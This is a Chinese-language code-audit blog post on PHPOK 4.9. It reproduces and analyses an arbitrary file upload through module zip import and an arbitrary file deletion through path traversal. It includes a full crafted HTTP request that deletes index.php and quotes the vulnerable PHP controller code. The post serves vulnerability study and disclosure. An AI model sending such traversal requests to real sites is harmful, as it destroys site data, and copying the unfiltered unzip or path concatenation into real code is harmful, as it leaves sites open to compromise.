0x01 前言
一放暑假就特别多事情,很多事情都耽误了,看吐司文章看到一篇不错的审计文章,就学习下。
0x02 环境搭建
环境没什么要求PHPstudy就能搞定,这个要先创建数据库再安装程序的。
0x03 任意文件上传漏洞
漏洞复现
- 登录后台,点击模块管理
- 新建一个测试文件然后压缩
- 然后导入模块 可以看到已经上传到了/data/cache/的目录下面了:
- 访问文件
漏洞分析
漏洞代码在framework/admin/modulec_control.php
642行。
大家可以详细的分析这个流程,主要漏洞的代码是
$this->lib('phpzip')->unzip($this->dir_root.$zipfile,$this->dir_root.'data/cache/');
没有做任何的过滤,直接把zip原样解压缩到/data/cache/的目录下面。
/**
* 模块导入
* @变量 zipfile 指定的ZIP文件地址
**/
public function import_f()
{
$zipfile = $this->get('zipfile');
if(!$zipfile){
$this->lib('form')->cssjs(array('form_type'=>'upload'));
$this->addjs('js/webuploader/admin.upload.js');
$this->view('module_import');
}
if(strpos($zipfile,'..') !== false){
$this->error(P_Lang('不支持带..上级路径'));
}
if(!file_exists($this->dir_root.$zipfile)){
$this->error(P_Lang('ZIP文件不存在'));
}
$this->lib('phpzip')->unzip($this->dir_root.$zipfile,$this->dir_root.'data/cache/');
if(!file_exists($this->dir_root.'data/cache/module.xml')){
$this->error(P_Lang('导入模块失败,请检查解压缩是否成功'));
}
$rs = $info = $this->lib('xml')->read($this->dir_root.'data/cache/module.xml',true);
if(!$rs){
$this->error(P_Lang('XML内容解析异常'));
}
$tmp = $rs;
if(isset($tmp['_fields'])){
unset($tmp['_fields']);
}
$insert_id = $this->model('module')->save($tmp);
if(!$insert_id){
$this->error(P_Lang('模块导入失败,保存模块基本信息错误'));
}
$this->model('module')->create_tbl($insert_id);
$tbl_exists = $this->model('module')->chk_tbl_exists($insert_id,$tmp['mtype']);
if(!$tbl_exists){
$this->model('module')->delete($insert_id);
$this->error(P_Lang('创建模块表失败'));
}
if(isset($rs['_fields']) && $rs['_fields']){
foreach($rs['_fields'] as $key=>$value){
if($value['ext'] && is_array($value['ext'])){
$value['ext'] = serialize($value['ext']);
}
$value['module_id'] = $insert_id;
$this->model('module')->fields_save($value);
$this->model('module')->create_fields($value['id']);
}
}
$this->lib('file')->rm($this->dir_cache.'module.xml');
$this->lib('file')->rm($this->dir_root.$zipfile);
$this->success();
}
}
0x04 任意文件删除
漏洞复现
- 在设置->风格管理
- 点击文件管理
- 随便删除一个文件,点击抓包
- 改包发包,删除index.php文件
GET /admin.php?c=tpl&f=delfile&id=1&folder=%2F&title=../../index.php&_=1533453756715 HTTP/1.1
Host: sb.com
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
request_type: ajax
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Referer: http://sb.com/admin.php?c=tpl&f=list&id=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: hd_sid=aZY7Qf; hd_auth=f0c7B2JXp7hhumOhqeqELbZ5FJA3C%2FW2AKt4di3duYf1l5T%2BbkCMPFkWus2WrHfUg2Z8np8oM4VygPGWolgu; PHPSESSION=tlcm8fq4vhio5gkh5l1f5156i3
Connection: close
- 文件已删除,网站主页不能访问
漏洞分析
漏洞文件位置在于framework/admin/tpl_control.php
的297行
$file虽然是由几个参数拼接而成的,但是加上../../就可以回到任何位置,造成了任意文件删除的漏洞。
$file = $this->dir_root."tpl/".$rs["folder"].$folder.$title;
/**
* 删除文件(夹)
**/
public function delfile_f()
{
if(!$this->popedom["filelist"]){
$this->error(P_Lang('您没有权限执行此操作'));
}
$id = $this->get("id","int");
if(!$id){
$this->error(P_Lang('未指定风格ID'));
}
$rs = $this->model('tpl')->get_one($id);
if(!$rs){
$this->error(P_Lang('风格信息不存在'));
}
if(!$rs["folder"]){
$this->error(P_Lang('未设置风格文件夹'));
}
$folder = $this->get("folder");
if(!$folder){
$folder = "/";
}
$title = $this->get("title");
$file = $this->dir_root."tpl/".$rs["folder"].$folder.$title;
if(!file_exists($file)){
$this->error(P_Lang('文件(夹)不存在'));
}
if(is_dir($file)){
$this->lib('file')->rm($file,"folder");
}else{
$this->lib('file')->rm($file);
}
$this->success();
}
0x05 结束
虽然说这个漏洞很简单,但是这个程序能申请CVE,这也提醒我们无论是什么大程序都会存在很明显的漏洞。
0x06 参考
程序下载:https://www.lanzous.com/i1ksjkd https://www.t00ls.net/viewthread.php?tid=46682
- 原文作者: F0rmat
- 原文链接: https://xxe.icu/phpok-4.9-code-audit.html
- 版权声明:本作品采用 署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。